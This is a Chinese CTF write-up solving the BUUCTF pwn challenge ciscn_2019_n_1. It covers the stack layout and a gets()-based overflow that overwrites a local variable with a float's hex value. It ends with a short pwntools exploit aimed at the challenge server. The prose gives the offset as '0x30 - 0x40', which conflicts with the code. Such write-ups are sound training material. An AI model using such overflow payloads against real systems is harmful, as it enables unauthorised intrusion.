buuctf 刷题记录_PWN ciscn_2019_n_1
PWN练习 ciscn_2019_n_1
这道题应该是由于平台题目更新,导致网上我看的几个exp均不可用(cnblog 和 csdn)这些exp里面最主要的问题是平台将题目更改为64位的,但是这些网站里的exp里面均为32位的。
解题
首先老规矩checksec
IDA查看一下
再查看一下func函数
本题思路就是通过gets传入一个v1的值,然后依靠传入的v1进行栈溢出,改写v2的值,使得v2的数值等于浮点数的11.28125
查看一下栈
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
v1在栈中的地址是0x30到0x04,所以要覆盖的长度就是(0x30 - 0x40)
之后再写入要求的v2的值,但是由于v2的值给的是浮点数,需要转换成16进制的,这个要求的v2的十六进制值可以从汇编中找到。
将鼠标停在上面就可以看到对应的十六进制数值为0x41348000
EXP
综上,exp如下
from pwn import *
p = remote('node4.buuoj.cn', 27949)
payload = b'a'*(0x30-0x04) + p64(0x41348000)
p.sendline(payload)
p.interactive()